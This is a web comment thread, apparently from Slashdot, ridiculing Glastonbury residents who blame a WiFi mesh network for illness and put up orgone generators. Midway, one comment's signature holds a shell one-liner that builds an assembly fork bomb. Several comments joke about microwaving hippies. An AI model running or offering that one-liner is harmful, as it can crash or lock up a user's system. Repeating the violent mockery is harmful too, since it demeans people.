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Hippies Say WiFi Network Is Harming Their Chakras
Anti-Globalism writes "A group of hippies is complaining that a recently installed WiFi mesh network in the UK village of Glastonbury is causing health problems. To combat the signals from the Wi-Fi hotspots, the hippies have placed orgone generators around the antennae." Although there have been many studies that show no correlation between WiFi and health issues the hippies say, "Yeah, well, you know, that's just, like, your opinion, man."
I've been saying hippies are harming my wifi network for years. Damn hippies.
You can't own the electromagetic spectrum, man.
Well from the description it seems unlikely that the orgone generators interfere to any practical extent with the wifi so good for them! If building a few pretty sculptures turns the bad harmful wifi into good life-enhancing wifi then I'll have one too. Perhaps they could partner with Cisco to market value-addded hippie-friendly wifi?
nah, I don't want to pinch them to wake them up... I want to give them a bloody good bitch slapping and tell them to get a job
I am not stubborn. I am right!
FiWi connectians doesn't mess up your ability to think, you knough.
You remind me of what it's like chatting on IRC at 6 in the morning. As in, you sound like a pissed Aussie who's almost too drunk to type. Why are their so many pissed Aussies on IRC? All laughing at their own jokes in all CAPS and calling everyone else gay. /me slaps all people found typing and drinking
This place can't be real. If they don't have the internet or radios, how would we have heard about it?
hippies... hippies... they say they want to save the world, but all they do is smoke pot and smell bad.
Mr. Hu is not a ninja.
Note to self: Convert doomsday device to look like a hippy "good-vibe" machine.
Me failed English...
FreeBSD over Linux. If my comments seem odd, this may explain...
I have to call shenanigans on the whole "negative energy" thing.
For one example, take a microwave oven. You put something in, turn it on, and the item cooks. That is an exhibit of POSITIVE energy flow. If you put a hippie in the microwave, the magnetron emissions does not suck the life energy out of the hippie, the hippie's life energy is released from its oppressive corporeal representation into the next higher plane. Ergo, another positive energy transfer! Come on, hippies... we are talking technology-assisted ascension!
And TVs, radios, etc. POSITIVE energy. In all cases we are using technology to enhance nature, similarly to the way hippies use crystals, precious metals, and *ahem* herbs to enhance nature.
Or at least that is how it works in my head.
--
Free Waterfall, Jr.: "We taught a lion to eat tofu!"
Lion, sickly and emaciated: *cough* *cough*
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Lur: "Ohhhh, there must've been something bad in the hippie I ate..." [/futurama]
Er, how about us hippie broadcast engineers? I know not to climb a FM tower while it is live and I know not to touch an AM tower and the ground at the same time (you have to jump to the tower to change the light blubs :)
-- I have a private email server in my basement.
There is a strong connection between LSD and BSD. (and yeah, I've abused both.)
-- I have a private email server in my basement.
I have to call shenanigans on the whole "negative energy" thing.
If you put a hippie in the microwave, the magnetron emissions does not suck the life energy out of the hippie ...
Of course it doesn't suck the life energy out of the hippie. You can't suck life energy out of something that doesn't have a life.
I'm sure that before they made those claims, they consulted all the sages they could find in yellow pages.
No way man, experts and sages have all been paid off by Big WiFi.
Incidentally, does anyone else find it ironic when hippies loudly proclaim that pot is harmless and then show signs of serious paranoia when they explain that it is only illegal because of some complicated conspiracy?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Don't insult The Onion by comparing them Fox news. The Onion is America's finest news source.
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Seriously weird folks.
If you want to read more about "Orgone" and the crackpot that came up with it, look up Wilhelm Reich.
I have a wireless router under my bed, near the head end. Strange how I'm not suffering from the "illnesses" these idiots are claiming.
Yeah, I have a crazy relative who is just fine around these things until he notices them. He's great around traditional 60 W lightbulbs (powered by AC voltage at 60 Hz), but show him an LED, say the green one that turns on when you turn on certain devices, and he is being poisoned. He often leaves the house to avoid E&M fields, and because it's so cold outside, takes a plugin space heater with him (giant extension cord and all).
The only reasonable way to test your hypothesis would be to actually STICK a hippy in a microwave. Better still for an adequate statistical sample, perhaps 100 would be better. Then, maybe another 100 with their Orgone generators and see if there is a different result.
It's really a no-lose experiment.
-Styopa
They've got a job. Building Orgone generators!
"City hall" in German is "Rathaus" Kinda explains a few things......
Bring in Cartman to fix the situation.
All energies that take wave form are positive.
And then, they're negative.
And then, they're positive.
And then, they're negative.
And then, they're positive.
And then, they're negative.
And then, they're positive.
And then, they're negative.
And then, they're positive.
...
Some make these transformations wicked fast.